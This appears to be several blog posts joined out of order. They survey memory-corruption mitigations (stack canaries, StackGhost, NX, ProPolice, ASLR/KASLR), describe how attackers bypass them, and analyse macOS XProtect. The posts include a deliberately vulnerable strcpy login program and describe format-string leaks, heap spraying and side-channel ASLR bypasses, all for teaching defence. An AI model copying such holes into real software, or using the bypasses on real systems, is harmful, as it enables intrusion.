From the previously mentioned observations, it can be inferred that the inclusion of stack guard entails the addition of a considerable number of novel instructions to a given function. This, in turn, may result in a slight performance impact. Consequently, compilers such as gcc, or any other compiler for that matter, will only append these stack guard checks to a function if specific prerequisites are satisfied. Thus, the following options are made available within the gcc framework to enable stack guard functionality based on requirement:

• -fstack-protector – Adds stackguard on functions that have a local buffer of 8 bytes or more or functions that call alloca().
• -fstack-protector-strong – Adds stack guard on functions that have local array definitions, or have references to local frame addresses.
• -fstack-protector-all – Adds canary on all functions.

Stack canaries on linux kernel

Stack Canary based protection was introduced in linux kernel 2.6 in 2008. Linux supports following config parameters to define which functions needs canary during build:

• CONFIG_CC_STACKPROTECTOR – Similar to -fstack-protector. Puts canary at starting of function with stack allocation more than 8 bytes.
• CONFIG_CC_STACKPROTECTOR_STRONG – Similar to -fstack-protector-strong.
• CONFIG_CC_STACKPROTECTOR_ALL - Add canary to all function
• CONFIG_CC_STACKPROTECTOR_AUTO – Try to compile the kernel with the best possible option available.
• CONFIG_CC_STACKPROTECTOR_NONE – Build kernel without any stack guard protection.

The instruction sequence will looks like below:

Stack Guard in Windows

Stack guard was introduced in windows in 2003 with the visual studio support for /gs flag.

In case of windows you will going to see following instruction set at the function prolog:

In windows, rather than saving the canary directly like linux implementation, it's first xored with base pointer(rbp) and then saved in the stack.Extra xor operation adds a layer of randomization to canary value since the base pointer itself is random on each program execution due to ASLR. Following will be the code you will find on epilog of function:

The function call to j__security_check_cookie will verify if rcx is set to 0 or not. If not, then the function will abort the program.

Implementation in Windows kernel

The Windows kernel also provides support for stack canary based protection. However, upon conducting my analysis, I discovered a limited number of functions that incorporate canary check. Furthermore, there is no explicitly defined criteria known regarding the selection of these functions by the kernel. Nevertheless, you will encounter some instances similar to the ones mentioned below:

prolog:

epilog:

Note that the kernel doesn’t use gs or fs segments to store random canary but rather has a global variable defined for this.

Limitation of stack canary

The most prominent issue with stack canary’s overall architecture is that it's there to detect the overflows rather than protect it. i.e it does not prevent a buffer from overflowing but instead detects the overflow once it has already occurred, during the function return.

Above can be a challenging situation in multiple cases like below:

In kernel space stack guard is not the best solution since the memory mapping in kernel space is linear i.e there is no or very less isolation between different components of kernel. Consequently, if an overflow occurs with the stack guard in place, an attacker can potentially modify other kernel components before the overflow is detected. In summary, if a stack overflow is detected at all on a production system, it is often well after the actual event and after an unknown amount of damage has been done.

Bypassing with brute force:

The success of stack guard heavily depends on the randomization of canary/ guard value. In older or some custom systems, canary values are predefined or pseudo random which makes guessing it easy for the attacker. If the value is guessed correctly, stack canary becomes essentially useless.

LibSafe and Libverify

LIbsafe was an important idea presented on usenix conference by a few researchers from bell labs and rst corp in 2000. It was targeted for the linux platform and was merged into Debian the same year.

Unlike most other common mitigations, libsafe/libverify can work on pre compiled binary as all of its implementation is present as a dynamic loaded library that can be loaded along with any or all processes.

LibSafe

The libsafe intercepts all calls to library functions that are known to be vulnerable from their loaded library. A substitute version of the corresponding function implements the original functionality but in a manner that any buffer overflow are contained within the current stack frame. Detection is based on maximum buffer size that a single write can modify, which get realized by the fact that local buffers cannot be modified beyond the current stack frame.  It can be understood more clearly with the below illustration

At the time strcpy() is called, the frame pointer (i.e., the ebp register in the Intel Architecture) will be pointing to a memory location containing the previous frame’s frame pointer. Furthermore, the frame pointer separates the stack variables (local to the current function) from the parameters passed to the function. The size of the buffer and all other stack variables residing on the top frame cannot extend beyond the frame pointer—this is a safe upper limit. A correct C program should never explicitly modify any stored frame pointers, nor should it explicitly modify any return addresses (located next to the frame pointers). Libsafe use this knowledge to detect and limit stack buffer overflows. As a result, the attack executed by calling the strcpy() can be detected and terminated before the return address is corrupted.

LibVerify

The libverify library relies on verification of the function's return address before it is used (in a similar way StackGuard is used). It injects the verification code at the start of process execution via rewriting the binary after it is written on the memory. It can be illustrated using the diagram below.

Before the process commences execution, the library is linked with the user code. As part of the linking procedure, the init() function in the library is executed. The init() function contains a stub to instrument the process such that the canary verification code in the library will be called for all functions in the user code.

The instrumentation includes the following steps:

1. Determine the location and size of the user code.

2. Determine the starting addresses of all functions in the user code.

3. For each function (a) Copy the function to heap memory.(b) Overwrite the first instruction of the original function with a jump to the wrapper entry function. (c) Overwrite the return instruction of the copied function with a jump to the wrapper exit function.

The wrapper entry function saves a copy of the canary value on a canary stack and then jumps to the copied function. The wrapper exit function verifies the current canary value with the canary stack. If the canary value is not found on the canary stack, then the function determines that a buffer overflow has occurred. In contrast to StackGuard, which generates random numbers for use as canaries, libverify uses the actual return address as the canary value for each function. This simplifies the binary instrumentation procedure because no additional data is pushed onto the stack, which means that the relative o sets to all data within each stack frame remain the same.

Resources:

https://www.usenix.org/legacy/publications/library/proceedings/usenix2000/general/full_papers/baratloo/baratloo.pdf

StackShield

Stack shield is an independent toolset that was released in 2000 for linux. It consist of shieldgcc and shieldg++ (replacement of default gcc and g++) to compile c/c++ binary with stackshield protection.

Stack Shield has two main protection methods: the Global Ret Stack (default) and the Ret Range Check. The core feature(Global Ret Stack) of stackshield is to save and verify  the return address in a separate memory space named retarray.

It uses two global variables for a  function. rettop – which stores the end address of retarray and retptr which holds the address where next return address need to be saved. On entry to a protected function, the return address is copied from the stack to retarray and retptr is incremented. During epilog return addresses saved in stack are not used. Instead of them, the cloned return address stored in retarray are honored. The pseudo assembly for stack shield looks like this:

Stack shield also contain another level of protection where the cloned return address is compared with the one presented in stack, and if they are different, a SYS exit system call is issued, abruptly terminating the program.

Another feature of Stack shield Ret Range Checking which detect and stop attempts to return into addresses higher than that of the variable shielddatabase, assumed to mark the base for program’s data, where we may say for simplicity, heap and stack are located. The pseudo code for this looks something like this:

Resources:

Stackshield homepage: https://www.angelfire.com/sk/stackshield/index.html

More info: https://www.cs.purdue.edu/homes/xyzhang/spring07/Papers/defeat-stackguard.pdf

Stackghost

In 2001, Mike Frantzen from Purdue university came up with a Hardware-facilitated stack overflow protection technique that will be implemented on kernel space, named as StackGhost. In 2001 stackghost was added in OpenBSD but started to be shipped enabled by default in 2004.  It was one of the major initial research done against protecting stack overflows, that has inspired many researchers and implementation later in future.. The StackGhost research was mostly targeted for Sun microsystems Sparc architecture but can easily be imported to other architectures.

It uses register windows in SPARC architecture to make stack overflow exploitation harder. Stackghost only needs to be evoked on deep function calls and recursive function calls. From the Wikipedia:

It uses a unique hardware feature of the Sun Microsystems SPARC architecture (that being: deferred on-stack in-frame register window spill/fill) to detect modifications of return pointers (a common way for an exploit to hijack execution paths) transparently, automatically protecting all applications without requiring binary or source modifications.

Along with the above main StackGhost idea,  this research also suggested additional mechanisms that can be added with the above method to make stack overflow exploitation harder. These ideas were very raw during that time, hence worth to mention here:

Encoded Return address: Rather than saving the exact return address, a reversible transform can be applied to the actual return address and the result saved process stack. When the return address needs to be accessed, the reverse transform can be applied before the access completes. To retrieve the actual value a reverse computation is calculated. If the attacker doesn’t know the transform or the key to transform, he/she will not be able to redirect the program flow with his own shellcode address.

One of the ways above technique can be used is by using the last two LSB in address since they are always zero due to 32 bit word alignment required for each instruction in SPARC architecture. The transformation can invert one or both least significant bits. A corrupted  return address will be detected when these bits are not set during inverse transformation.

Return Address stack: A corrupt return pointer can also be detected by keeping a return-address stack. Every time a return pointer is saved to the program stack, the handler can keep another copy in memory not accessible to the userland process (a return-address stack). A corrupt return pointer is detected if a function tries to return to a location not saved in the return stack.

The idea is to  have a return address stack as a FIFO queue. A refined approach to designing a return-address stack is to add a small hash table in the PCB. Every time a register window needs to be cleansed, the mechanism would add an entry into the hash table (indexed off the base address of the stack frame). And then store the base address to use as the comparison tag, the return pointer, and a random 32- bit number. In the place of the return address in the stack frame, it would place a copy of the random number. When StackGhost retrieves the stack frame to refill the register window, it can compare the random number on the stack with its image in the hash table. If the instances do not match, an exploit has occurred and the program must be aborted.

XOR Cookie – Another important mention in Stackghost paper is to protect the return address by XORing a fixed cookie with the return address. XORing the cookie before it is saved and xoring again after it popped off preserve the legitimate pointer but distort the attack. Stackghost's idea was to build either a 13 bit preset cookie in OpenBSD kernel that will remain same throughout the system/between processes or have a per process cookie.

Encrypted Stack Frame – Corrupted  return can also be detected by encrypting part of the stack frame when the window is written to the stack and decrypting it during retrieval. Although it is going to have a significant performance impact.

Limitations of Stack Ghost

• Randomness of XOR cookie is low, making it easily predicted and align with the actual address.
• Most of the techniques that stackghost use are based on detection but not prevention. An exploit can still cause Denial of service.
• StackGhost will not stop every exploit, nor will it guarantee security. Exploits that StackGhost will not stop include:
• 1. A corrupted function pointer (atexit table, .dtors, etc.)
• 2. Data corruption leading to further insecure conditions.
• 3. “Somehow” overwriting a frame pointer with a frame pointer from far shallower in the calling sequence. It will short circuit backwards through a functions’ callers and may skip vital security checks.

Execution space protection

A process or kernel memory is partitioned into several segments that serve different purposes. For example, a process memory typically consists of a executable section (.text), read only data (.rodata), read/writable data (.data), a stack and a heap. Below is one way of memory layout

Since each section has different usage, they required different memory permissions. For instance, by default, the .rodata section should exclusively possess read permissions, while the .text section should possess both read and execute permissions.

It is imperative for operating systems to effectively enforce these permissions in order to circumvent unexpected behavior or misuse of memory. For instance, there may exist scenarios wherein an attacker gains the privilege to write to any memory location within a process. This privilege can be exploited by modifying the program's behavior through altering the instructions within the text section of the process's memory. However, with accurately enforced memory permissions, any attempts to write to the text section of the process's memory will be thwarted.

Note: You can check the memory permissions of each section for a process in linux by using cat /proc/<pid>/maps. Similarly the process memory permissions can be checked in windows using !address command in windbg attached to the target process.

As a part of ESP, your loader will mark the memory region as Non executable to block execution of any shellcode in that area. In a perfectly implemented operating system, following memory regions are marked as non executable:

• All non writable sections including .data, .rodata, .bss etc
• Stack and heap of process

The above implementation will prevent any exploitation of process address space against any arbitrary shellcode execution present in these memory regions. To make this execution prevention more readily implementable, chipmakers have implemented this as a hardware feature called as Data Execution prevention/NX stack explained below:

NX protection

In 1998, a team name “solar designers” developed a patch for linux that will make the stack non executable. But due to the gcc’s limitations of using stack to store trampoline function and executing it, the implementation didn't get merged in gcc until 2004 (which was after the introduction of NX bit in x86 processors).

Intel and AMD introduced NX bit support in 2001 in AMD64 and Intel Itanium processors respectively. This is an extra bit added in the page table entry to mark the page as non executable.

In 64 bit machine (as mentioned in above image) the bit 63rd  (MSB in address) will be used to mark a page as non executable. This will prevent the impact of buffer overflow exploitation where attacker try to execute shellcode present in the user input  buffer in stack or heap.

This feature was introduced in windows with the name DEP (Data execution prevention) in 2003 in windows XP. Currently, NX protection is available and used at all major operating systems at userspace and kernel space both.

Limitations of NX stack

Clearly the protection will only protect against the case where an attacker will try to pass the shellcode in user buffer and execute it later. The return address redirection is still possible. Attackers can still redirect the program flow to a function already present inside process memory. One such famous attack in linux is “return to libc”. This method is also called ROP or JOP (where ROP stands for Return oriented programming and JOP for Jump oriented programming).

Resources:

https://academickids.com/encyclopedia/index.php/NX_bit

Propolice

Propolice is the stack smashing protection patches that are added by IBM in gcc in year 2004. The idea was based on improving the coverage and detection of existing Stack Guard protection.

The improvement in  propolice method compared to stackguard  is the location of the guard and the protection of function pointers. The guard is inserted next to the previous frame pointer and it is prior to an array, which is the location where an attack can begin to destroy the stack.

The Propolice extension patch consists of following major changes to existing gcc:

• the reordering of local variables to place buffers after pointers to avoid the corruption of pointers that could be used to further corrupt arbitrary memory locations,
• the copying of pointers in function arguments to an area preceding local variable buffers to prevent the corruption of pointers that could be used to further corrupt arbitrary memory locations, and the
• omission of instrumentation code from some functions to decrease the performance overhead.

Safety function model:

To decrease the impact of stack overflow, propolice includes an improved function stack model compared to stackguard, that can be followed to minimize the impact of stack overflow.

safety function model, which involves a limitation of stack usage in the following manner:

• the location (A) has no array or pointer variable
• the location (B) has arrays or structures that contains an array
• the location (C) has no array

This model has the following properties:

• The memory locations outside of a function frame cannot be damaged when the function returns.
• The location (B) is the only vulnerable location where an attack can begin to destroy the stack. Damage outside of the function frame can be detected by the verification of the guard value. If damage occurs outside of the frame, the program execution stops.
• An attack on pointer variables outside of a function frame will not succeed.      The attack could only succeed if the following conditions were satisfied: (1) the attacker changes the value of the function pointer, and (2) he calls a function using the function pointer. In order to achieve the second condition, the function pointer must be visible from the function, but our assumption says this information is beyond the function scope. Therefore, the second condition can't be satisfied, and the attack will always fail.
• An attack on pointer variables in a function frame will not succeed.      The location (B) is the only vulnerable location for a stack-smashing attack, and the damage goes away from area (C). Therefore, the area (C) is safe from the attack.

Pointer protection

Another common stack overflow exploitation scenario is when the vulnerable  function consists of a function pointer as local variable like below:

In order to protect function pointers from stack-smashing attacks, propolice change the stack location of each variables to be consistent with the safe function model.  It makes a new local variable, copying the argument func1 to it, and changing the reference to func1 to use the new local variable.

The propolice methodology is still used by gcc and other compilers to a greater extent.

Resources

https://web.archive.org/web/20040603202721/http://www.research.ibm.com/trl/projects/security/ssp/

https://dominoweb.draco.res.ibm.com/reports/rt0371.pdf

Honorable mention:

In windows 10, Microsoft has added a new mitigation named  Arbitrary code guard in Windows kernel, which is based on setting and verifying memory permissions for specific pages based on certain policy and blocking the attempt that breaks the policy. ACG is based on prevents a process from doing these two things:

• Allocating new executable memory (without an image file backing it)
• Modifying any existing executable memory by writing to it.

You can read more about ACG here: https://blogs.windows.com/msedgedev/2017/02/23/mitigating-arbitrary-native-code-execution/

ASLR (Address Space Layout Randomization)

The idea of ASLR was first introduced in PAX project in 2001. Later it was added in OpenBSD in 2003, followed by linux in 2005 and Windows vista in 2007. The main goal of ASLR is to prevent the exploitation due to memory corruption rather than the detecting/preventing corruption itself.

The exploitation of a memory corruption vulnerability entails the act of redirecting the return address to an alternative function or shellcode address that is either malicious or unexpected. In order for the exploitation to be successful, the attacker must possess knowledge of the specific target address that they intend to execute. Drawing inspiration from this, Address Space Layout Randomization (ASLR) was implemented as a means to randomize the addresses of most, if not all, sections within a process's memory. By doing so, this serves to prevent attackers from being able to predict the location of any malicious function or shellcode addresses.

ASLR in action

ASLR in linux

Let’s take a look at simple c program below to understand the impact of ASLR:

When you execute the below code multiple times in linux, you will get the output like below:

From the above output, we can conclude that linux have following memory layout:

Although the order of the various sections remains consistent, the different addresses of variables during each execution imply that the base address for each section changes. However, it is worth noting that the text section possesses a fixed address. Due to this element of randomization, accurately determining the location of certain data or shellcode in the process memory becomes exceedingly challenging, thereby making it difficult for an attacker to exploit the buffer overflow scenario for the purpose of executing a shellcode.

ASLR in linux kernel (KASLR)

Linux kernel added support for ASLR in 2006 (v2.6) which known as KASLR – Kernel address space layout randomization. KASLR patches has introduced following changes in kernel memory:

• Kernel image which used to reside at a static address in lowmem can now be present at any memory location in kernel memory.
• Initial loading addresses of modules are randomized.
• Both virtual and physical addresses of components get randomized.
• Other memory regions like vmalloc, vmap and ioremap area are also randomized.
• Later the linux kernel also introduced the KSTACK_RANDOMIZE feature that will randomize the kernel stack base created on each syscall.

Let’s verify the impact of KASLR in linux kernel:

You need to load the below compiled driver to understand the effect of KASLR in linux kernel:

Below is the dmesg output:

You will notice that only the stack and heap is randomized. Other sections like .rodata and .text are not randomized since the module is loaded unloaded frequently,  hence  getting the same address each loading. But on reboot, you will notice the different address assign to those as well.

Other observation you will notice for KASLR is that the randomization of address is very less. Only the base addresses of sections are changing but the offsets are pretty much the same.

ASLR in windows

Let’s compile the  above program in Visual Studio 2022 in windows 11 and verify the output:

One may observe that, in addition to the heap and stack, all other variables are located at a fixed address. This suggests that the design of Windows Address Space Layout Randomization (ASLR) takes into consideration the fact that the majority of buffer overflow exploits involve shellcode in the heap and stack, thus necessitating randomization. In order to minimize the overhead of randomization, it is not applied to the remaining sections of the process memory.

We will skip the part of verifying ASLR in windows kernel for now but it can be easily looked with windbg !address extension used with kernel debugger attached.

Limitation of ASLR

Address brute force due to Low entropy

The quality of mitigation provided by ASLR depends on the randomization of the different address spaces in process memory. ASLR is implemented in almost all types of operating systems but has different levels of randomization for different address spaces. Even from the above ASLR POCs, you will notice that the randomization level in windows is quite low compared to linux. Due to less randomization, it became very easy for attackers to guess the address where shellcode or gadgets reside. Moreover,  most ASLR implementations have only a few bytes to randomize and keep base address or certain MSB bytes same.

You can easily look for  lots of writeups and project to bypass ASLR by bruteforcing the address.

Having a module loaded with no ASLR support

In the Linux operating system, the binaries are constructed by default with the -fPIC compiler option in gcc. This particular option indicates that the resulting code will possess the necessary functionalities to enable relocation. This is an essential prerequisite for Address Space Layout Randomization (ASLR) to be operational within the binaries' address space. In the event that the binary is not compiled with this option, or if it is explicitly stated that the binary or library does not support relocation, different addresses of different sections at which the binary or library is loaded into memory will remain consistent on each execution.

Sometimes when a binary itself is fully ASLR compatible, it may have  a module/dll loaded that doesn’t support the randomization. In those cases, an attacker can try to find ROP gadgets in that unsupported ASLR binary for successful shellcode execution.

Memory address leak

The primary adversary encountered by any ASLR implementation is the exposure of addresses to the user. It can be understood using below case:

In the above program, there exists an overflow in the username variable, which provides attackers with the opportunity to inject shellcode into the username data and subsequently execute it. However, the presence of Address Space Layout Randomization (ASLR) should ideally make it difficult to guess the address of the shellcode. Nevertheless, the program also exhibits a format string vulnerability due to the utilization of printf(buffer), which, if correctly formatted (e.g., by passing %p%p%p... as the input on the first prompt), will disclose the address of the username buffer. Upon receiving these leaked addresses, an attacker can modify the payload in the second prompt in order to successfully redirect the return address to the shellcode. This entire configuration renders the randomization of the stack meaningless.

On similar ground, Address leak is a major culprit of KASLR bypasses in kernel space in windows and linux.

Heap spraying to bypass ASLR

The idea behind this technique is to make multiple addresses lead to the shellcode by filling the memory of the application with lots of copies of it, which will lead to its execution with a very high probability. The main problem here is guaranteeing that these addresses point to the start of it and not to the middle. This can be achieved by having a huge amount of nop bytes (called NOP slide, NOP sled, or NOP ramp), or any instructions that don't have any major effect, such as xor ecx, ecx:

During exploitation of a security issue, the application code can often be made to read an address from an arbitrary location in memory. This address is then used by the code as the address of a function to execute. If the exploit can force the application to read this address from the sprayed heap, it can control the flow of execution when the code uses that address as a function pointer and redirects it to the sprayed heap. If the exploit succeeds in redirecting control flow to the sprayed heap, the bytes there will be executed, allowing the exploit to perform whatever actions the attacker wants. The whole concept will work even on the presence of ASLR.

Using Sidechannel to break ASLR

There are multiple researchers published since 2016 that focus on bypassing ASLR or guessing target address space using sidechannel attacks. One such research named “Jump over ASLR” published in 2016, uses BTB buffer to bypass ASLR randomization in userspace or kernel space. Below is few key points from the research.

This new attack can recover all random bits of the kernel addresses and reduce the entropy of user-level randomization by using side-channel information from the Branch Target Buffer (BTB). The key insight that makes the new BTB-based side-channel possible is that the BTB collisions between two user-level processes, and between a user process and the kernel, can be created by the attacker in a controlled and robust manner. The collisions can be easily detected by the attacker because they impact the timing of the attacker-controlled code. Identifying the BTB collisions allows the attacker to determine the exact locations of known branch instructions in the code segment of the kernel or of the victim process, thus disclosing the ASLR offset.

The attacks exploit two types of collisions in the BTB. The first collision type, exploited to bypass KASLR, is between a user-level branch and a kernel-level branch - they call it cross- domain collisions, or CDC. CDC occurs because these two branches, located at different virtual addresses, can map to the same entry in the BTB with the same target address. The reason is that the BTB addressing schemes in recent processors ignore the upper-order bits of the address, thus trading off some performance for lower design complexity. The second type of BTB collisions is between two user-level branches that belong to two different applications. They call these collisions same-domain collisions, or SDC. SDCs are used to attack user-level ASLR, allowing one process to identify the ASLR offset used in another. An SDC occurs when two branches, one in each process, have the same virtual address and the same target.

You can read more detail about the research here: https://www.cs.ucr.edu/~nael/pubs/micro16.pdf

Blindside Attack

Blindside attack discovered by few researchers from Stevens Institute of Technology in New Jersey, ETH Zurich, and the Vrije University in Amsterdam. in 2020 (2 years after Specter, Meltdown surfaced)  used Speculative execution modern processor feature to Bypass KASLR. The goal of blindside research was to make KASLR brute forcing (probing) more significant and faster.

When performing probing to bypass KASLR, the non crash resistance nature of linux kernel makes KASLR probing mere a concept. Using speculative execution processor feature for crash suppression allows the elevation of basic memory write vulnerabilities into powerful speculative probing primitives that leak through microarchitectural side effects. Such primitives can repeatedly probe victim memory and break strong randomization schemes without crashes and bypass all deployed mitigations against Spectre like attacks. The key idea behind speculative probing is to break Spectre mitigations using memory corruption and resurrect Spectre style disclosure primitives to mount practical blind software exploits. This became possible since crashes and the probe execution in general are suppressed on speculative paths. You can read about the research here https://download.vusec.net/papers/blindside_ccs20.pdf

KASLR information leak mitigation – kptr_restrict and dmesg_restrict

Kaslr was implemented into the Linux kernel in the year 2006. Since its implementation, various methods have been developed to circumvent kaslr, thereby introducing vulnerabilities into the Linux kernel. These bypasses primarily occur due to the presence of information leaks. These leaks can manifest as either pointer leaks, such as leaks of pointers to structs or heap/stack areas, or content leaks. Illustrative examples of associated CVEs include CVE-2019-10639 (Remote kernel pointer leak), CVE-2017- 14954.

To minimize the impact of address leak linux kernel has added features kptr_restrict and dmesg_restrict.

ptr_restrict - This indicates whether restrictions are placed on exposing kernel addresses via /proc and other interfaces. When kptr_restrict is set to (1), kernel pointers printed using the %pK format specifier will be replaced with 0’s unless the user has CAP_SYSLOG.

dmesg_restrict - This indicates whether unprivileged users are prevented from using dmesg to view messages from the kernel's log buffer. When dmesg_restrict is set, users must have CAP_SYSLOG to use dmesg.

The FGKASLR – Fine gained KASLR

Added in linux kernel in 2020, FGKASLR is a replacement of existing KASLR in linux to improve KASLR capability against code reuse attack. Here are few details about FGKASLR from their commit detail:

KASLR was merged into the kernel with the objective of increasing the difficulty of code reuse attacks. Code reuse attacks reused existing code snippets to get around existing memory protections. They exploit software bugs which expose addresses of useful code snippets to control the flow of execution for their own nefarious purposes. KASLR moves the entire kernel code text as a unit at boot time in order to make addresses less predictable. The order of the code within the segment is unchanged - only the base address is shifted. There are a few shortcomings to this algorithm.

1. Low Entropy - there are only so many locations the kernel can fit in. This means an attacker could guess without too much trouble.

2. Knowledge of a single address can reveal the offset of the base address, exposing all other locations for a published/known kernel image.

3. Info leaks abound.

Finer grained ASLR has been proposed as a way to make ASLR more resistant to info leaks. It is not a new concept at all, and there are many variations possible. Function reordering is an implementation of finer grained ASLR which randomizes the layout of an address space on a function level granularity.

That's all about first generation mitigations. We will go through the second generation in next section.

Arbitrary Code execution due to memory corruption is not new. It’s been there since forever(to be more precise, probably since the 1980s)  and still a major thing. For instance,70 percent of all security issues addressed in Microsoft products are caused by violations of memory safety. Similar proportion holds true for linux.  However, a lot has changed over the years. The conventional attacks and exploits that were prevalent a decade ago no longer hold the same significance. Simultaneously, new protective measures have been introduced periodically to mitigate these attacks, but have also inadvertently led to the discovery of novel attack techniques to circumvent these mitigations. For a diligent security researcher or application developer, It’s hard to follow this ongoing cat and mouse race. While certain protective measures are widely recognized, there are many others that are not well-known yet possess intriguing narratives or implementation details. This realization has inspired me to document all these protections that I have encountered or become aware of throughout my years of study, and to ponder why I had not been acquainted with them earlier.

Document version for the series can be found here: https://github.com/shubham0d/memory-corruption-mitigations

How it all started (The chaos)

The initial instance of memory corruption was discovered in 1988 where Morris worm found to be exploiting the fingerd Unix application. This particular incident used a buffer overflow vulnerability, that leads to code execution. Subsequently, the awareness of memory corruption spread throughout the security community as a result of the publication of "Smashing the stack for fun and profit" in the 49th edition of Phrack in 1996. Prior to this publication, buffer overflows were acknowledged but not widely attended to. However, since then, researchers, regardless been red or blue, have begun to prioritize this issue. Consequently, memory corruption has wreaked chaos within the security community.

THE FIRST ORDER: The introduction of memory corruptions

Let's look at a traditional case of buffer overflow that will help to understand what makes memory corruption vulnerability and how code execution happens due to memory corruption.

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv[])
{
        char password[64];
        strcpy(password, argv[1]);
        if (strcmp(password, "secret") == 0) {
                printf("Sucessfully login\n"); }
        else{
                printf("Password doesn't match. Unanble to login.\n"); }
        return 0;
}

The above program presents a clear-cut problem of copying data into a stack buffer without specifying the number of bytes that should be copied. This vulnerability can enable malicious input to execute arbitrary shellcodes by modifying the return address to point it to the shellcode stored in the stack buffer, which will be passed as part of the password buffer. This can be better understood using below illustration:

Similar type of issue can occur in heap as well, where an overflow can cause arbitrary read/write primitives due to control of modification of heap chunk header. Although heap contain more complex issues than the above mentioned like use after free, double free that mostly occurred due to bad implementation of heap allocator.

This series is not about digging into memory safety issues, but here are the common types of cases you will see that are related to memory:

• Uninitialized memory
• Reading/ Writing freed memory (Use after free)
• Illegal read/write or Out of bound read/write
• Null pointer dereferences
• Function pointer modifications
• Memory leaks (usually not treated as security vulnerability)

Besides above there are certain bugs that cause memory corruptions like integer overflows, heap allocator implementation issues etc. Our work is not focusing on these bugs rather on the actual corruptions(main exploitation scenario).

The third order: Categorizing the work

I decided to categorize the mitigations that have been introduced over the years into three general groups:

Let’s quickly try to understand what each categories meant:

First generation mitigations:

These are the techniques that are mostly introduced in early years of protecting memory corruption issues until around 2010. Due to their long-standing presence, they have reached a state of predominantly being stable or deprecated, with no subsequent advancements taking place in these areas.

Second Generation mitigations:

Second generation mitigations are mostly introduced after 2010 and are focused on filling up the gaps that 1st gen mitigations left or for cases where 1st gen mitigations are bypassed. Most of the techniques mentioned here are introduced in different platforms in the last 5 years, hence are still under development or constant improvements.

Memory detection tools:

This category is different then above two but serves the common objective of detecting memory errors. This contains mostly tools (techniques in some cases) that are introduced by different vendors to detect memory error conditions during the testing or development stages, and are not intended for deployment in production environments.

Let us examine each part individually in the following three upcoming sections.

Section 1: https://nixhacker.com/nostalgic-memory-part-2/

Section 2: https://nixhacker.com/nostalgic-memory-part-3/

Section 3: https://nixhacker.com/nostalgic-memory-part-4/

The user base of linux has increased exponentially in last few decades. As a byproduct, researchers and threat actors has started investing more time on finding issues in linux kernel. To keep up with the offensive work, the linux gurus have introduced many self protections across years to make it safe against different attacks. This generally helps malicious processes to compromise the linux kernel or escalate privilege of them.

In AVAR 2022, I have present about these security protection techniques present in linux kernel to give linux users and security professional idea on where linux kernel stands in terms of security. Since unlike Windows and MacOS, linux kernel features are not advertised enough plus the kernel goes through such rapid changes, it's very difficult to keep track of what things are there and what not. This motivates me to go for such research. The work is results of examining hundreds of commits merged on linux over years, so that there should be some content on internet that keep track of all the efforts linux developers did to protect the linux kernel. PS: Hopefully I will keep updating the content.

XProtect

Xprotect is a signature based malware detection solution available in MacOS, that scan for malicious content when a bundle or individual binary is executed. XProtect checks for known malicious content whenever:

• An App is first launched

• An app has been changed (in the file system)

• XProtect signatures are updated

But in recent MacOS,  it checks the executable code of every app and command tool whenever it’s run, regardless of whether it's quarantine flag is set. The main XProtect related data is present in a loadable bundle located at /Library/Apple/System/Library/CoreServices/XProtect.bundle. We will discuss the bundle's structure later, let's first talk about how XProtect works.

• When a new process is started with launchd(by double-clicking the app) or from terminal, the LaunchServices send and xpc message to CoreServicesUIAgent which handles the UI aspects of application loading.
• CoreServicesUIAgent than call a  xpc service XprotectService.xpc which is part of XProtectFramework located at /System/Library/PrivateFrameworks/XprotectFramework.framework.  
• The xprotect service scan for the malicious content in main executable and return the classification of the executable from this list in a parameter named XprotectMalwareType and send the information back to CoreServicesUIAgent.
• Xprotect tags the file with value XprotectMalwareType even if the file is clean and signed. Based on the information received from xprotect, coreservicesuiagent  creates an alert for user and move the application to Bin. The alert message looks like this (may differ based on the XProtectMalwareType received from xprotect):

XProtect Components

Apple haven't open sourced any component of xprotect. Most of the content specific to xprotect is present in xprotect.bundle which is located at path mentioned above. The content in xprotect.bundle is updated periodically by Apple. You can check the version of xprotect content by using the following command.

$ system_profiler SPInstallHistoryDataType | grep -A 5 "XProtectPlistConfigData"

Now let's look inside xprotect.bundle. The bundle has the following resources inside it:

• gk.db
• LegacyEntitlementAllowlist.plist
• XProtect.plist
• XProtect.meta.plist
• XProtect.yara

gk.db

It is again a sqlite db file with following tables:

table blocked_hashes has following format:

By default there are only 3 entries in this table. Let's check what each column means:

hash: cdhash of the executable

hash_type: cdhash type. Apple has updated code signing method in the past. Based on that cdhash differ. Older one has hash_type 1 and newer has 2.

flags: unknown

From name you can guess that these entries will be used to block executable having the above cdhash.

table blocked_teams has the following format:

There are total 132 entries in this file at the time of writing this post. This table is used to block malicious executable based on developer id. These developer IDs are associated with developer accounts, which apple has found to be used for shipping malware like Bundlore, Adload or UpdateAgent. It is my speculation that Apple is developing this list based on cdhashes it received for notarization check (link) since most of the team ids doesn't associate with any sample in VirusTotal.

table settings has field called schema_version which is set to 3.

You may think why this database file is named gk.db (gatekepper.db). The reason behind it is that this db is not called by xprotect but rather by gatekeeper(syspolicyd to be more specific) for blacklisting applications.

When you execute an application having cdhash or dev id  present in above blacklist, you will see the following alert:

Addition to this, this db is only queried when is application/executable is started with launch services (through double-clicking). An executable running from command line is safe from the blacklists in this db.

XProtect.yara

This is the core selling point for XProtect. This file contains yara rules associated with almost all famous malware families like Bundlore, HiddentLotus, Dok, Adload etc.  There are almost 160 rules while writing this post. Most of the rule names are in obscure format like MACOS.b70290c .

When you try to execute a macho file having yara signature here, you will get following alert from CoreServicesUIAgent:

When you click on "Move to Bin" button, CoreServicesUIAgent move the file to bin and add a deletion log in plist format inside Users/<Username>/Library/Logs/DiagnosticReports/XProtect_XXX-Mac.diag file with  yara rule name that has been matched.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<array>
	<dict>
		<key>UserAction</key>
		<string>trash</string>
		<key>XProtectSignatureName</key>
		<string>MACOS.8f20223</string>
	</dict>
</array>
</plist>

If the detection is on an application bundle CoreServicesUIAgent will show the following alert:

In above alert box you will see the detection name as an extra field. This will happen since MacOS has verified the developer id in gk.db blacklist before checking XProtect.yara, hence it is more certain about the executable to be malicious.

XProtect.plist

XProtect.plist is a highly powerful and feature rich plist file, used to blacklist content present in form of application bundle or any other possible UTI like compressed files, scripts execution, java application, microsoft docs etc. This property list file have multiple entries in dictionary format. A typical entry looks like below:

	<dict>
		<key>Description</key>
		<string>OSX.ParticleSmasher.A</string>
		<key>LaunchServices</key>
		<dict>
